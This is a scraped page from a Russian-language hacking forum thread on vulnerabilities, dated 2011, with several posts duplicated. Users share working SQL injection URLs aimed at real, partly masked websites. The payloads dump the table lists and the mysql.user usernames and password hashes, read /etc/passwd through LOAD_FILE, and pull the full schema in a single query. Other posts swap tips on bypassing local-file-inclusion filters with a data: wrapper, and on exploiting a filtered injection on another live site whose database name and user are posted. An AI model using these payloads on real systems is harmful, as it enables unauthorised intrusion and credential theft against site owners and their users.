Вопросы по уязвимостям - Страница 111

Zhenechka · 28.06.2011, 21:46

All tables:

PHP код:


			
http://www.***.ru/search/?action=index&text=%27%29+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables--+

User:Password from mysql.user:

PHP код:


			
http://www.***.ru/search/?action=index&text=%27%29+union+select+1,2,concat_ws%280x3a,User,Password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user--+

/etc/passwd available:

PHP код:


			
http://www.***.ru/search/?action=index&text=')+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+

Pashkela · 28.06.2011, 21:51

а еще там булка стоит...

Flakt · 28.06.2011, 21:53

Цитата:

Сообщение от Pashkela

а еще там булка стоит...

А так выводить еще лучше

http://www.***.ru/search/?action=index&text=-5')+union+select+1,2,3,(select(@x)from(select(@x:= 0x00),(select(null)from(information_schema.columns )where(table_schema!=0x696e666f726d6174696f6e5f736 368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,tab le_schema,0x2e,table_name,0x3a,column_name))))x),5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+&image.x=0&image.y=0

525 · 29.06.2011, 12:10

какие есть варианты обхода если точка "." заменяется на слэш "/" при lfi ? %2e%2e/ и пост не помогло (

M@ZAX@KEP · 30.06.2011, 12:46

525, портокол data, не? Что-то такое:

Код:

site.com/index.php?page=data:application/x-httpd-php;base64,сюда_base64_того_что_инклудишь

Написал, а теперь подумал... а оно случаем не только на удалённом работает?

Raz0r · 30.06.2011, 17:40

PHP 4 будет работать при allow_url_fopen=true (по умолчанию включено)
PHP 5 будет работать при allow_url_include=true (по умолчанию отключено)

Consistent · 30.06.2011, 23:23

Помогите раскрутить скулю плз.
http://www.***.com/index.php?lang=FR&page_id=18+order+by+24--+
24 поля, но через union select кидает на пустую страницу. То ли фильтруется, то ли двойной запрос.
Проверить не могу, других уязвимых параметров так же не нашел. Интересует в первую очередь причина, ну и конечно методы, как раскрутить.
Так же прилагаю
http://***.com/phpinfo.php

napas_hd · 30.06.2011, 23:39

Consistent, union и select фильтруются. POST не катит.

Consistent · 01.07.2011, 00:16

Да, я уже опробовал. Оказывается и select from фильтруется, error based тож не заюзать. Жалко, версия пятая.
Спасибо.

Pashkela · 01.07.2011, 00:42

Да, from фильтруется

@@basedir: /
@@datadir: /
version(): 5.0.90-community
@@version_compile_os: unknown-linux-gnu
database(): francoj1_francojobs
user(): francoj1_rhw@localhost

28.06.2011, 21:46	#1101
Zhenechka Регистрация: 08.11.2010 Сообщений: 10 Репутация: 5	All tables: PHP код: `http://www.**.ru/search/?action=index&text=%27%29+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables--+` User:Password from mysql.user:* PHP код: `http://www.**.ru/search/?action=index&text=%27%29+union+select+1,2,concat_ws%280x3a,User,Password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user--+` /etc/passwd available:* PHP код: `http://www.**.ru/search/?action=index&text=')+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+` __________________ 888 Последний раз редактировалось Twost; 17.05.2013 в 11:45..*

30.06.2011, 12:46	#1105
M@ZAX@KEP Регистрация: 24.07.2010 Сообщений: 139 Репутация: 5	525, портокол data, не? Что-то такое: Код: site.com/index.php?page=data:application/x-httpd-php;base64,сюда_base64_того_что_инклудишь Написал, а теперь подумал... а оно случаем не только на удалённом работает?

30.06.2011, 17:40	#1106
Raz0r Регистрация: 17.07.2010 Сообщений: 100 Репутация: 78	PHP 4 будет работать при allow_url_fopen=true (по умолчанию включено) PHP 5 будет работать при allow_url_include=true (по умолчанию отключено) __________________ <? Raz0r.name — блог о web-безопасности

30.06.2011, 23:23	#1107
Consistent Регистрация: 06.12.2010 Сообщений: 26 Репутация: 0	Помогите раскрутить скулю плз. http://www.*.com/index.php?lang=FR&page_id=18+order+by+24--+ 24 поля, но через union select кидает на пустую страницу. То ли фильтруется, то ли двойной запрос. Проверить не могу, других уязвимых параметров так же не нашел. Интересует в первую очередь причина, ну и конечно методы, как раскрутить. Так же прилагаю http://.com/phpinfo.php Последний раз редактировалось Twost; 17.05.2013 в 11:46..*

Опции темы	Поиск в этой теме
Версия для печати Отправить по электронной почте	Поиск в этой теме: Расширенный поиск
Опции просмотра
Линейный вид Комбинированный вид Древовидный вид

28.06.2011, 21:51	#1102
Pashkela Регистрация: 05.07.2010 Сообщений: 1,243	а еще там булка стоит...

29.06.2011, 12:10	#1104
525 Регистрация: 06.07.2010 Сообщений: 34 Репутация: 0	какие есть варианты обхода если точка "." заменяется на слэш "/" при lfi ? %2e%2e/ и пост не помогло (

30.06.2011, 23:39	#1108
napas_hd Регистрация: 09.07.2010 Сообщений: 70 Репутация: 4	Consistent, union и select фильтруются. POST не катит.

01.07.2011, 00:16	#1109
Consistent Регистрация: 06.12.2010 Сообщений: 26 Репутация: 0	Да, я уже опробовал. Оказывается и select from фильтруется, error based тож не заюзать. Жалко, версия пятая. Спасибо.

01.07.2011, 00:42	#1110
Pashkela Регистрация: 05.07.2010 Сообщений: 1,243	Да, from фильтруется @@basedir: / @@datadir: / version(): 5.0.90-community @@version_compile_os: unknown-linux-gnu database(): francoj1_francojobs user(): francoj1_rhw@localhost